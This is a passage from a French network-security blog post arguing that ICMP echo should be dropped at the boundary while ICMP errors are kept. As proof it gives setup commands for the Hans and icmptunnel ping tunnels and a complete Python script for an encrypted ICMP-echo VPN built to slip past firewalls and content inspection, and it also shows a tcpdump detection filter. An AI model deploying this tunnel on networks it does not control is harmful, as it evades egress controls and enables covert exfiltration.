quelqu\u0026rsquo;un qui regarde vraiment. Regarder à l\u0026rsquo;intérieur du paquet, non.\nEt la machine qui le pilote n\u0026rsquo;a pas à appartenir à quelqu\u0026rsquo;un qui travaille là. Il suffit d\u0026rsquo;une chose qui puisse atteindre votre réseau et poser un ping sur l\u0026rsquo;internet, et atteindre votre réseau est plus facile que personne n\u0026rsquo;aime l\u0026rsquo;admettre. Le WiFi porte au-delà des murs, dans le couloir, le parking, l\u0026rsquo;appartement du dessus. La prise ethernet dans le mur de la salle de réunion, ou de l\u0026rsquo;accueil, ou du bureau vide près de la fenêtre, est très souvent active et parlera à tout ce que vous y branchez, sans 802.1X qui demande qui vous êtes. Un signal à portée, ou une prise que personne n\u0026rsquo;a verrouillée. Voilà le droit d\u0026rsquo;entrée. Pas de badge, pas de compte, pas d\u0026rsquo;invitation.\nImaginez le visiteur que vous avez, lui, invité. Il est en réunion, agréable, prend des notes, contribue. Son portable, non. À la seconde où il a atteint votre réseau, par les airs ou par la prise sous la table, il était à l\u0026rsquo;intérieur du mur, et si ce réseau sait émettre une requête d\u0026rsquo;écho, il a une voie de sortie. Rien n\u0026rsquo;a été déposé sur votre parc. Pas de compte, pas de privilège sur quoi que ce soit qui vous appartient, rien que vos agents de poste puissent attraper, parce que vos agents ne sont pas sur sa machine. La personne est en face de vous. Le trafic sort par votre porte d\u0026rsquo;entrée, chiffré, indiscernable d\u0026rsquo;un portable qui pingue plus qu\u0026rsquo;il ne devrait.\nUn visiteur à portée du signal, ou sur une prise ouverte, obtient un tunnel vers l'extérieur à travers un pare-feu qui ne voit que des pings Un visiteur à portée, ou sur une prise ouverte, obtient une route vers l'extérieur à l'intérieur du mur — votre réseau le WiFi atteint le couloir, le parking, l'appartement du dessus portable du visiteur pas de badge, pas de compte une prise murale active pas de 802.1X pour vous identifier pare-feu de frontière ne voit que des pings serveur sur l'internet requête d'écho\u0026#160;\u0026#8594; \u0026#8592;\u0026#160;réponse d'écho n'importe quel trafic IP, chiffré, à l'intérieur des pings Le droit d\u0026rsquo;entrée est l\u0026rsquo;accès au réseau — un signal WiFi à portée, ou une prise murale active sans 802.1X — et la sortie est l\u0026rsquo;écho à travers la frontière. Pour le pare-feu, c\u0026rsquo;est un hôte qui pingue ; à l\u0026rsquo;intérieur de ces pings, il y a n\u0026rsquo;importe quel trafic IP, chiffré, à destination d\u0026rsquo;un serveur sur l\u0026rsquo;internet. Les deux choses vers lesquelles vous allez vous tourner n\u0026rsquo;aident pas. Le NAT est une table de traduction, pas un filtre : une requête d\u0026rsquo;écho d\u0026rsquo;un hôte interne ouvre une correspondance indexée sur l\u0026rsquo;id ICMP, que le NAT traite exactement comme il traite un port, et la réponse revient par là comme n\u0026rsquo;importe quel autre flux. J\u0026rsquo;ai fait tourner un client derrière mon propre NAT domestique et il n\u0026rsquo;a jamais remarqué que le NAT était là. Un VLAN invité séparé ne vaut pas mieux. La ségrégation garde le visiteur hors de vos serveurs, mais elle ne fait rien pour le garder hors de l\u0026rsquo;internet, et l\u0026rsquo;internet, atteint par un ping, est toute l\u0026rsquo;exigence. Un seul contrôle touche à ça : ce réseau laisse-t-il l\u0026rsquo;écho sortir ?\nVous ne réglez pas ça par l\u0026rsquo;inspection, et vous ne le réglez pas par la ségrégation. Vous fermez la porte. Tout ce qui suit explique pourquoi la norme la laisse ouverte, trois façons de bâtir le tunnel pour que l\u0026rsquo;affirmation tienne sur plus que ma parole, et le seul changement qui la ferme.\nLa partie de l\u0026rsquo;ICMP qui ne vous doit rien d\u0026rsquo;utile Commençons par ce que la norme dit vraiment, parce que tout l\u0026rsquo;argument repose sur une phrase et que les gens l\u0026rsquo;écartent d\u0026rsquo;un revers de main sans la lire.\nUne requête d\u0026rsquo;écho porte un champ de données. En IPv4, la RFC 7923 dit clairement que « the data received in the echo message must be returned in the echo reply message ». IPv6 a resserré la formulation plutôt que de la relâcher : la RFC 44434 définit le champ comme « zero or more octets of arbitrary data » puis exige qu\u0026rsquo;il « MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message ».\nLisez ça en exploitant et c\u0026rsquo;est un keepalive. Lisez-le en quelqu\u0026rsquo;un qui déplace des données et c\u0026rsquo;est un cadeau. La norme oblige chaque hôte joignable à accepter un bloc d\u0026rsquo;octets que vous choisissez et à vous les renvoyer tels quels, inchangés, sur demande. Longueur arbitraire. Contenu arbitraire. Pas de poignée de main, pas de port, pas d\u0026rsquo;application au bout d\u0026rsquo;en face qui doive consentir à quoi que ce soit. Le noyau le fait, avant qu\u0026rsquo;aucun processus de l\u0026rsquo;espace utilisateur n\u0026rsquo;ait son mot à dire.\nEt c\u0026rsquo;est les deux familles. Passer à IPv6 ne range pas ça. Ça l\u0026rsquo;ouvre plus grand. La RFC 792 disait que les données « must be returned » ; la RFC 4443 dit qu\u0026rsquo;elles « MUST be returned entirely and unmodified », c\u0026rsquo;est la même porte tenue ouverte par une serrure plus solide. À ce titre, le canal existe sur l\u0026rsquo;écho ICMP comme sur l\u0026rsquo;écho ICMPv6, et une règle qui le ferme sur une famille et pas l\u0026rsquo;autre n\u0026rsquo;a rien fermé. Le tunnel se déplace juste vers la famille que vous avez laissée ouverte. Quoi que vous fassiez à ce sujet, faites-le sur ip et ip6 ensemble.\nRien d\u0026rsquo;autre dans le protocole ne fait ça. Un Time Exceeded porte l\u0026rsquo;en-tête du paquet qui est mort et rien de plus. Un Destination Unreachable est un compte rendu sur quelque chose qui a déjà eu lieu. Ces messages vous disent des faits sur le réseau. L\u0026rsquo;écho porte tout ce que vous y mettez, dans les deux sens, et appelle ça un diagnostic.\nLes erreurs sont porteuses. L\u0026rsquo;écho, non. C\u0026rsquo;est la distinction que la bande du « bloquez juste l\u0026rsquo;ICMP » ne fait jamais, et c\u0026rsquo;est tout le propos, alors je vais la faire une fois et proprement.\nBloquer les erreurs ICMP casse le réseau en silence. Filtrez Packet Too Big et vous tuez la découverte du MTU de chemin : la poignée de main s\u0026rsquo;achève, les petits transferts marchent, et tout ce qui porte un paquet de taille pleine se bloque pour toujours sans rien dans les journaux. En IPv6, ce n\u0026rsquo;est même pas une affaire de goût. Les routeurs ne fragmentent pas, alors la RFC 48905 liste Packet Too Big parmi les messages qu\u0026rsquo;un pare-feu « must not drop » et prévient que sans lui « parts of the Internet will become inaccessible ». Filtrez Time Exceeded et vous cassez traceroute, que la RFC 18126 nomme comme la raison d\u0026rsquo;être de l\u0026rsquo;obligation du message au départ. Ce ne sont pas des options. Ce sont le retour qui rend le réseau autocorrecteur, et j\u0026rsquo;ai couvert le coût de leur perte en détail la dernière fois.\nMaintenant jetez l\u0026rsquo;écho et allez chercher ce qui a cassé. ping à travers la frontière cesse de marcher. Voilà la liste. Toute la liste.\nLa découverte du MTU de chemin s\u0026rsquo;en moque, parce qu\u0026rsquo;elle tourne sur Packet Too Big, qui est une erreur. Traceroute s\u0026rsquo;en moque, parce que traceroute -T et -U marchent en TCP et UDP et lisent les erreurs qui reviennent. Aucun d\u0026rsquo;eux n\u0026rsquo;envoie d\u0026rsquo;écho. La découverte de voisins en IPv6 s\u0026rsquo;en moque, parce que ce sont les types 133 à 137, et vous les gardez ou le segment meurt. L\u0026rsquo;astuce du TTL inverse du billet précédent marche sur n\u0026rsquo;importe quelle réponse, et une poignée de main TCP vous en donne une. Tout ce qui faisait marcher le diagnostic du billet précédent continue de marcher, parce que pas une seule mesure là-dedans n\u0026rsquo;envoyait de requête d\u0026rsquo;écho.\nLes deux moitiés du protocole ne pourraient donc pas être moins semblables. Une moitié est le réseau qui vous dit la vérité sur lui-même, et vous la cassez à vos risques. L\u0026rsquo;autre moitié est un service de renvoi de charge utile imposé qui se trouve s\u0026rsquo;appeler un diagnostic, et la chose la plus forte qu\u0026rsquo;on puisse dire pour le garder ouvert, c\u0026rsquo;est que ping est pratique. C\u0026rsquo;est pratique. C\u0026rsquo;est aussi la seule partie de l\u0026rsquo;ICMP qu\u0026rsquo;un attaquant peut piloter, et je peux vous montrer exactement avec quoi ils la pilotent.\nGardez les erreurs ICMP, à débit limité ; ne jetez que l'écho, dans les deux sens et les deux familles Deux moitiés d'un protocole, et une seule est un risque GARDER limiter le débit, jamais bloquer Destination Unreachable porte le pourquoi d'un paquet non livré Packet Too Big la découverte du MTU de chemin en dépend Time Exceeded traceroute en dépend Parameter Problem signale un en-tête malformé Découverte de voisins 133\u0026#8211;137 IPv6 : le segment local en dépend Cassez-les et le réseau casse en silence. JETER les deux sens, les deux familles Echo request type 8 (IPv4) · type 128 (IPv6) Echo reply type 0 (IPv4) · type 129 (IPv6) Rien n'en a besoin sauf la ping commande. Tout ce qu'un attaquant pilote à travers l'ICMP passe par eux. Un tunnel laissé ouvert sur une famille n'est pas fermé. Les erreurs ICMP sont porteuses : la découverte du MTU de chemin, traceroute et la découverte de voisins IPv6 en dépendent toutes, et les bloquer casse le réseau en silence. L\u0026rsquo;écho est la seule partie dont rien ne dépend sauf ping, et la seule qu\u0026rsquo;un attaquant peut piloter. Jetez celle-là, gardez le reste, sur les deux familles. La preuve : un VPN fait de ping L\u0026rsquo;outil est Hans7, écrit par Friedrich Schöller. Sa propre description tient en une ligne : il « makes it possible to tunnel IPv4 through ICMP echo packets, so you could call it a ping tunnel. » Il monte une interface tun à chaque bout, leur donne des adresses, et déplace chaque paquet entre elles à l\u0026rsquo;intérieur de l\u0026rsquo;écho ICMP. Pour le réseau au milieu, c\u0026rsquo;est quelqu\u0026rsquo;un qui pingue un serveur et le serveur qui répond. Pour moi, c\u0026rsquo;est une route.\nUn paquet IP entier voyage à l'intérieur du champ de données d'un seul ping Un paquet entier voyage à l'intérieur d'un seul ping Le paquet que votre session SSH envoie en-tête IP src / dst en-tête TCP port 22 données applicatives vos frappes, votre fichier Hans copie tout le paquet dans le champ de données d'écho Le paquet qui part sur le fil en-tête IP vous vers serveur requête d'écho ICMP type 8 · id · seq champ de données d'écho le paquet entier ci-dessus, inchangé Pour le pare-feu de frontière, c'est une requête d'écho, et le journal note un ping. Dans le champ de données, il y a un paquet à destination de partout où le bout d'en face peut atteindre. La norme oblige le bout d'en face à renvoyer ces données telles quelles, si bien que la réponse est un paquet elle aussi. Chaque paquet que le tunnel porte est copié dans le champ de données d\u0026rsquo;une requête d\u0026rsquo;écho ICMP. La norme oblige le bout d\u0026rsquo;en face à renvoyer ces données inchangées, si bien que la réponse porte un paquet elle aussi. Le pare-feu compte un ping ; la charge utile va partout où le bout d\u0026rsquo;en face sait router. Je l\u0026rsquo;ai fait tourner sur ma propre ligne, un serveur sur une adresse publique et un client derrière mon NAT domestique, et j\u0026rsquo;ai poussé du vrai trafic à travers. Pas des pings synthétiques avec un drapeau posé. Une connexion SSH et un téléchargement de fichier, à cheval dans l\u0026rsquo;écho.\nC\u0026rsquo;est à un paquet de distance là où j\u0026rsquo;ai fait tourner le serveur, et ça se compile depuis les sources de Schöller partout ailleurs. Le serveur doit être sous Linux et a besoin de root, parce qu\u0026rsquo;ouvrir un équipement tun et un socket ICMP brut le demandent tous les deux. La syntaxe est délibérément réduite :\n# on the server (public IP), pick the tunnel network and a password hans -s 10.8.0.0 -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; # server takes 10.8.0.1; clients are handed 10.8.0.2 and up # on the client, point it at the server\u0026#39;s public address hans -c \u0026lt;server-public-ip\u0026gt; -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; Une fois les deux bouts levés, il y a une nouvelle interface de chaque côté avec une adresse sur le réseau du tunnel, et elle se comporte comme n\u0026rsquo;importe quelle autre liaison point à point :\nRien dans cette session ne sait qu\u0026rsquo;elle est à l\u0026rsquo;intérieur du ping. SSH ouvre une connexion TCP vers 10.8.0.1, le noyau la route par tun0, Hans enveloppe chaque paquet en charge utile d\u0026rsquo;une requête d\u0026rsquo;écho, et le bout d\u0026rsquo;en face le déballe et le remet à son propre tun0. La réponse revient en charge utile d\u0026rsquo;une réponse d\u0026rsquo;écho. Pour SSH, il parle sur une liaison ordinaire. Pour le pare-feu, personne n\u0026rsquo;a ouvert quoi que ce soit. Un hôte se fait pinguer.\nÀ quoi ça ressemble sur le fil C\u0026rsquo;est la partie qui met fin au débat, alors regardez la vue depuis le pare-feu plutôt que la mienne.\nCe qui se passe vraiment, et ce que le pare-feu journalise, ne sont pas la même image Un tunnel, deux images Ce qui se passe vraiment votre hôte tun0 · 10.8.0.2 le serveur tun0 · 10.8.0.1 partout où il peut atteindre SSH, téléchargements routé vers l'extérieur n'importe quel trafic IP, par le tunnel en paquets ordinaires Ce que le pare-feu de frontière voit et journalise votre hôte 198.51.100.9 le serveur 192.0.2.7 requête d'écho réponse d'écho icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 icmp echo reply 192.0.2.7 \u0026gt; 198.51.100.9 icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 ... comptés comme des pings, contenu non lu Même fil. Le pare-feu ne voit jamais les paquets à l'intérieur. Le tunnel déplace du vrai trafic entre deux hôtes puis vers partout où le serveur peut atteindre. À la frontière, ce n\u0026rsquo;est que requête d\u0026rsquo;écho et réponse d\u0026rsquo;écho — le pare-feu journalise des pings et ne voit jamais les paquets portés à l\u0026rsquo;intérieur. Asseyez-vous sur l\u0026rsquo;interface externe avec tcpdump et capturez uniquement l\u0026rsquo;ICMP pendant que la session SSH tourne. Aucun TCP vers le port 22 ne traverse la frontière. Ce qui traverse, c\u0026rsquo;est requête d\u0026rsquo;écho et réponse d\u0026rsquo;écho, dans les deux sens, chacune plus grosse qu\u0026rsquo;un vrai ping parce qu\u0026rsquo;elle porte une tranche de segment TCP dans sa charge utile :\n# on the boundary, watch only ICMP echo while traffic runs over the tunnel tcpdump -ni \u0026lt;wan-iface\u0026gt; \u0026#39;icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply\u0026#39; Lisez les deux choses qui comptent dans cette capture. D\u0026rsquo;abord les longueurs de charge utile : un ping normal envoie 56 octets et chaque ligne a la même taille, alors que celles-ci varient et sont grosses, parce que la taille de la chose que vous déplacez transparaît dans la taille du ping. Ensuite le débit : un ping de diagnostic, c\u0026rsquo;est un par seconde, et là c\u0026rsquo;est un déluge, parce qu\u0026rsquo;il déplace un fichier. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;est caché. Les deux sont en pleine vue sur un protocole que personne ne regarde.\nEt c\u0026rsquo;est tout le propos. Pas que ce soit malin, ou dur à repérer une fois qu\u0026rsquo;on regarde. Presque personne ne regarde, parce que la boîte est configurée pour autoriser l\u0026rsquo;ICMP, les journaux le comptent comme des pings, et l\u0026rsquo;alerte a été réglée pour les ports que quelqu\u0026rsquo;un a pensé à surveiller. Le trafic sort en ayant l\u0026rsquo;air d\u0026rsquo;un contrôle de santé, et le contrôle de santé est une route vers partout où le serveur peut atteindre.\nUn vrai VPN à tunnel complet, monté à la main Hans prouve que le canal est là, mais il fait l\u0026rsquo;interface et l\u0026rsquo;adressage pour vous et vous rend une route, donc il ne vous montre pas tout à fait ce que vous avez bâti. Pour voir que c\u0026rsquo;est un VPN au sens plein — tout le trafic de la machine qui sort par le ping, pas une liaison entre deux hôtes nommés — assemblez-le à la main. icmptunnel8, de Dhaval Kapil, est celui pour ça, et sa propre description tient en une ligne : « Transparently tunnel your IP traffic through ICMP echo and reply packets. » Même idée, équipement tun et charges utiles d\u0026rsquo;écho, mais vous posez la plomberie vous-même et rien ne se cache dans un binaire.\nSur le serveur, vous démarrez le tunnel, montez l\u0026rsquo;interface, puis faites la chose qui vend la mèche : dire au noyau d\u0026rsquo;arrêter de répondre aux pings lui-même, pour que ses propres réponses d\u0026rsquo;écho ne se battent pas avec celles que le tunnel envoie.\nsudo ./icmptunnel -s 10.0.1.1 # server mode; creates tun0, then blocks # from a second shell, bring the interface up (iproute2, not the net-tools the repo ships) sudo ip addr add 10.0.1.1/24 dev tun0 sudo ip addr add 2001:db8:1::1/64 dev tun0 sudo ip link set tun0 mtu 1472 up # 1500 − 20 (IP) − 8 (ICMP); see below # stop the kernel replying to pings — echo now belongs to the tunnel sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # let the server route the client\u0026#39;s packets onward sudo sysctl -w net.ipv4.ip_forward=1 Relisez la ligne icmp_echo_ignore_all, parce qu\u0026rsquo;elle dit plus qu\u0026rsquo;elle n\u0026rsquo;en a l\u0026rsquo;air. Ce bouton est celui du noyau, et il est livré comme une défense : posez-le et, selon les mots du noyau, il « will ignore all ICMP ECHO requests sent to it »9, si bien qu\u0026rsquo;un exploitant peut retirer un hôte du radar du ping entièrement. Il est sur les deux familles désormais. net.ipv4.icmp_echo_ignore_all depuis des années, et net.ipv6.icmp.echo_ignore_all ajouté plus tard pour aligner.10 Le tunnel bascule cet interrupteur défensif dans l\u0026rsquo;autre sens : le noyau ne répondant plus à l\u0026rsquo;écho lui-même, ses deux bouts sont libres d\u0026rsquo;utiliser l\u0026rsquo;écho comme transport pur. Ce qui est le signe. Les gens qui ont écrit la pile traitent déjà l\u0026rsquo;écho comme quelque chose qu\u0026rsquo;un hôte peut raisonnablement refuser — la règle de ce billet fait ce même choix une fois, à la frontière, pour chaque hôte derrière elle.\nSur le client, vous montez l\u0026rsquo;interface puis pointez la route par défaut dedans. Pas un hôte atteint par le tunnel. Tout.\nsudo ./icmptunnel -c \u0026lt;server-public-ip\u0026gt; # client mode; creates tun0 sudo ip addr add 10.0.1.2/24 dev tun0 sudo ip addr add 2001:db8:1::2/64 dev tun0 sudo ip link set tun0 mtu 1472 up # keep the route to the server itself OUT of the tunnel... sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; # ...then send everything else down it sudo ip route replace default dev tun0 Les client.sh et server.sh du projet vont encore chercher ifconfig et route de net-tools. Les commandes ip ci-dessus sont les équivalents iproute2 et font le même travail. Cette route vers le serveur est la ligne que les gens oublient : gardez-la hors du tunnel, sinon les paquets d\u0026rsquo;écho qui portent le tunnel essaient de voyager par le tunnel, et rien ne sort. Tout le reste passe maintenant par tun0, enveloppé dans l\u0026rsquo;écho, et atteint le serveur. Qu\u0026rsquo;il aille plus loin est un choix de routage. Une seule règle de masquerade sur le serveur le poserait sur l\u0026rsquo;internet public sous l\u0026rsquo;adresse propre du serveur, et elle n\u0026rsquo;est délibérément pas ici, parce que le tunnel est la chose montrée et qu\u0026rsquo;il n\u0026rsquo;en a pas besoin.\nVoilà un VPN à tunnel complet, bâti à partir du ping en une poignée de commandes. Chaque paquet que le client envoie — web, DNS, SSH, tout — est capturé dans tun0 et sort en requête d\u0026rsquo;écho vers le serveur, et les réponses reviennent en réponses d\u0026rsquo;écho. Une machine sur un réseau qui « n\u0026rsquo;autorise que l\u0026rsquo;ICMP » vient de remettre tout son trafic sortant à une boîte à l\u0026rsquo;extérieur, et la frontière a journalisé un hôte qui aime pinguer.\nÉcrire le vôtre en Python Voici la partie qui devrait troubler quiconque espère se défendre contre ça en repérant un outil. Ni Hans ni icmptunnel ne fait quoi que ce soit que vous ne pourriez pas écrire vous-même en un après-midi. Ouvrez un équipement tun, enveloppez chaque paquet en charge utile d\u0026rsquo;une requête d\u0026rsquo;écho, déballez ceux qui reviennent. C\u0026rsquo;est tout le mécanisme, et le tunnel nu fait environ soixante lignes de Python de bibliothèque standard avec rien du tout à installer. La version ci-dessous ajoute une chose par-dessus : elle chiffre la charge utile, et c\u0026rsquo;est la seule partie qui tire une dépendance.\n#!/usr/bin/env python3 # pingvpn.py — a VPN tunnel over ICMP echo, in one short file. # # Not a product. It exists to show the channel is trivial to rebuild, so a # defence that hunts for a known tool is chasing the wrong thing entirely. # Linux, needs root (a tun device and a raw ICMP socket both do), and the # `cryptography` package for the AES (pip install cryptography). # # server: sudo python3 pingvpn.py --server # client: sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; # # The payload is encrypted with AES-128-GCM under a pre-shared key before it # goes on the wire, so what a firewall sees in the echo data is random bytes — # the same as a real ping\u0026#39;s padding, and nothing for content inspection to read. import argparse import fcntl import hashlib import os import select import socket import struct import sys from cryptography.hazmat.primitives.ciphers.aead import AESGCM TUNSETIFF = 0x400454CA IFF_TUN = 0x0001 IFF_NO_PI = 0x1000 MAGIC = 0x4954 # \u0026#39;IT\u0026#39; in the id field, so we ignore real pings ECHO_REQUEST = 8 ECHO_REPLY = 0 PSK = b\u0026#34;change-me-to-a-shared-secret\u0026#34; # pre-shared secret, both ends KEY = hashlib.sha256(PSK).digest()[:16] # 128-bit key -\u0026gt; AES-128-GCM AEAD = AESGCM(KEY) def open_tun(name=b\u0026#34;tun0\u0026#34;): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name, IFF_TUN | IFF_NO_PI)) return fd def encrypt(data): # -\u0026gt; nonce || ciphertext+tag nonce = os.urandom(12) return nonce + AEAD.encrypt(nonce, data, None) def decrypt(blob): # raises on a packet that is not ours return AEAD.decrypt(blob[:12], blob[12:], None) def checksum(data): if len(data) % 2: data += b\u0026#34;\\x00\u0026#34; total = sum(struct.unpack(\u0026#34;!%dH\u0026#34; % (len(data) // 2), data)) total = (total \u0026gt;\u0026gt; 16) + (total \u0026amp; 0xFFFF) total += total \u0026gt;\u0026gt; 16 return ~total \u0026amp; 0xFFFF def build_echo(icmp_type, payload): head = struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, 0, MAGIC, 0) csum = checksum(head + payload) return struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, csum, MAGIC, 0) + payload def main(): ap = argparse.ArgumentParser(description=\u0026#34;a VPN tunnel over ICMP echo\u0026#34;) group = ap.add_mutually_exclusive_group(required=True) group.add_argument(\u0026#34;--server\u0026#34;, action=\u0026#34;store_true\u0026#34;) group.add_argument(\u0026#34;--client\u0026#34;, metavar=\u0026#34;SERVER_IP\u0026#34;) args = ap.parse_args() out_type = ECHO_REQUEST if args.client else ECHO_REPLY in_type = ECHO_REPLY if args.client else ECHO_REQUEST peer = args.client # None on the server until a client is seen tun = open_tun() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) print(\u0026#34;tun0 created. bring it up with an address and route, then send traffic.\u0026#34;, file=sys.stderr) while True: readable, _, _ = select.select([tun, sock], [], []) if tun in readable: # a packet wants to leave this host packet = os.read(tun, 65535) if peer: sock.sendto(build_echo(out_type, encrypt(packet)), (peer, 0)) if sock in readable: # something arrived over ICMP data, _ = sock.recvfrom(65535) ihl = (data[0] \u0026amp; 0x0F) * 4 # skip the IP header the kernel adds icmp = data[ihl:] if len(icmp) \u0026lt; 8 or icmp[0] != in_type or icmp[4:6] != struct.pack(\u0026#34;!H\u0026#34;, MAGIC): continue try: packet = decrypt(icmp[8:]) # wrong key or a real ping -\u0026gt; skip except Exception: continue if args.server: peer = socket.inet_ntoa(data[12:16]) # reply to whoever sent os.write(tun, packet) # hand the carried packet to the stack if __name__ == \u0026#34;__main__\u0026#34;: main() C\u0026rsquo;est tout le tunnel. Il ouvre tun0 et un socket ICMP brut et fait la navette des paquets entre eux : ce qui quitte l\u0026rsquo;hôte est enveloppé en requête d\u0026rsquo;écho, ou en réponse d\u0026rsquo;écho sur le serveur, et envoyé au bout d\u0026rsquo;en face ; ce qui arrive par l\u0026rsquo;ICMP est déballé et remis à la pile. Le champ id est figé sur une valeur pour qu\u0026rsquo;il enjambe les vrais pings, et le serveur apprend où répondre depuis la source du premier paquet qu\u0026rsquo;il voit.\nLe chiffrement est le point sur lequel s\u0026rsquo;attarder, parce que c\u0026rsquo;est ce que font les vrais outils et c\u0026rsquo;est pourquoi vous n\u0026rsquo;attraperez pas ça en regardant à l\u0026rsquo;intérieur du paquet. La charge utile est scellée avec AES-128-GCM sous une clé prépartagée avant d\u0026rsquo;être enveloppée, si bien que les octets dans les données d\u0026rsquo;écho sont indiscernables du remplissage aléatoire qu\u0026rsquo;un vrai ping porte. Retirez les deux lignes de crypto et le tunnel tourne encore sur la seule bibliothèque standard — la seule raison pour laquelle il a besoin de pip install cryptography, c\u0026rsquo;est l\u0026rsquo;AES, et l\u0026rsquo;AES est justement la partie qui transforme un tunnel lisible en tunnel illisible. Montez-le de la même façon qu\u0026rsquo;avant, moins le masquerade. Vous n\u0026rsquo;en avez pas besoin pour prouver le point :\n# server: start it (creates tun0, then blocks), then configure from the same shell sudo python3 pingvpn.py --server \u0026amp; sudo ip addr add 10.9.0.1/24 dev tun0 sudo ip addr add 2001:db8:9::1/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # client sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; \u0026amp; sudo ip addr add 10.9.0.2/24 dev tun0 sudo ip addr add 2001:db8:9::2/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; sudo ip route replace default dev tun0 La raison de l\u0026rsquo;écrire en entier n\u0026rsquo;est pas l\u0026rsquo;outil. C\u0026rsquo;est que l\u0026rsquo;outil est jetable. Un court fichier, aucune dépendance jusqu\u0026rsquo;à ce que vous ajoutiez le chiffrement, et chaque copie que quelqu\u0026rsquo;un tape a l\u0026rsquo;air un peu différente sur le fil. Donc une signature qui attrape celui-ci n\u0026rsquo;attrape rien la semaine suivante. Vous ne pouvez pas vous sortir de ça par le blocage en nommant le logiciel, parce qu\u0026rsquo;il n\u0026rsquo;y a pas de logiciel à nommer.\nÇa n\u0026rsquo;a même pas besoin d\u0026rsquo;un shell. La logique, c\u0026rsquo;est des octets en entrée, des octets en sortie, donc ça se porte sur tout ce qui sait ouvrir un socket. Même en WebAssembly : le bac à sable du navigateur refuse normalement d\u0026rsquo;emblée un socket brut à une page, mais là où cette barrière est levée (un navigateur à qui l\u0026rsquo;utilisateur a donné la permission, sur une machine où l\u0026rsquo;utilisateur tourne avec assez de privilège pour qu\u0026rsquo;un socket brut soit ouvert), le même court programme tourne dans un onglet. Ce qui est la moitié inconfortable de la chose. Vous ne pouvez pas faire confiance à vos utilisateurs ici. L\u0026rsquo;hôte qui pilote le tunnel est à l\u0026rsquo;intérieur, tenu par quelqu\u0026rsquo;un que vous avez décidé être sûr parce qu\u0026rsquo;il siège derrière le pare-feu, et le pare-feu est la chose qu\u0026rsquo;on tunnelise. La confiance de périmètre suppose que la menace est hors du mur. Celle-ci commence à l\u0026rsquo;intérieur, à chaque fois.\nAttention au MTU, et au plancher de 1280 d\u0026rsquo;IPv6 Le tunnel n\u0026rsquo;est pas gratuit sur le fil. Chaque paquet que vous portez gagne un en-tête IP externe et un en-tête ICMP avant de partir, donc l\u0026rsquo;interface interne doit siéger sous ce que le chemin peut porter. En IPv4, ça ne coûte presque rien à l\u0026rsquo;attaquant. Posez le MTU interne bas (le 1472 d\u0026rsquo;icmptunnel, c\u0026rsquo;est 1500 moins 20 pour l\u0026rsquo;en-tête IP externe et 8 pour l\u0026rsquo;en-tête ICMP, et le Python ci-dessus descend à 1400 pour la marge), et là où le nombre est encore faux, IPv4 fragmente le paquet trop grand et le réassemble au bout d\u0026rsquo;en face plutôt que de le jeter. Entre le plancher bas que vous pouvez choisir et la fragmentation qui recouvre le reste, le tunnel tourne sur presque n\u0026rsquo;importe quel chemin. Cette souplesse est justement ce qui fait de l\u0026rsquo;IPv4 l\u0026rsquo;endroit confortable pour faire ça.\nLa fragmentation et la marge de MTU d'IPv4 laissent le tunnel tourner partout ; IPv6 n'a ni l'une ni l'autre, donc il échoue fermé Pourquoi il tourne partout en IPv4 et échoue fermé en IPv6 IPv4 en-tête IP 20 o ICMP 8 o paquet interne MTU du tun 1472 o Trop grand ? IPv4 fragmente et réassemble \u0026#8212; le tunnel tourne sur presque n'importe quel chemin. IPv6 en-tête IPv6 40 o ICMPv6 8 o paquet interne ne peut descendre sous 1280 o plancher dur 1280 o (RFC 8200) Trop grand ? Les routeurs IPv6 le jettent, sans fragmentation \u0026#8212; le tunnel échoue fermé. Les replis d'IPv4 \u0026#8212; un plancher que vous choisissez, la fragmentation pour le reste \u0026#8212; sont ce qui rend le tunnel fiable. IPv6 n'a ni l'un ni l'autre, donc l'attaque qui tourne presque partout en IPv4 est fragile en IPv6. La famille la plus sûre ici. Packet Too Big \u0026#8212; une erreur que vous gardez, pas un écho \u0026#8212; est ce qui laisse un émetteur trouver la taille qui rentre. Pas à l'échelle. Le tunnel perd un en-tête IP et ICMP externe sur chaque paquet. IPv4 vous laisse raboter le MTU interne et fragmente ce qui est encore trop grand, si bien qu\u0026rsquo;il tourne presque partout ; IPv6 pose un plancher dur de 1280 octets et ses routeurs ne fragmentent pas, donc un paquet trop grand est jeté et le tunnel échoue fermé — ce qui fait de l\u0026rsquo;IPv6 la famille la plus sûre ici. IPv6 est moins indulgent, et pour une fois c\u0026rsquo;est de votre côté. Le plancher est dur : la RFC 820011 §5 exige que « every link in the Internet have an MTU of 1280 octets or greater », et les routeurs IPv6 ne fragmentent pas en transit. Ça retire les deux replis d\u0026rsquo;IPv4 d\u0026rsquo;un coup, et ça mord le tunnel dans les deux sens. Faites-le tourner sur de l\u0026rsquo;ICMPv6 et chaque lien du chemin doit porter 1280, donc un chemin qui descend en dessous fait tomber le transport, et il n\u0026rsquo;y a pas de rabotage sous le plancher comme on peut en IPv4. Portez de l\u0026rsquo;IPv6 à l\u0026rsquo;intérieur du tunnel et vous 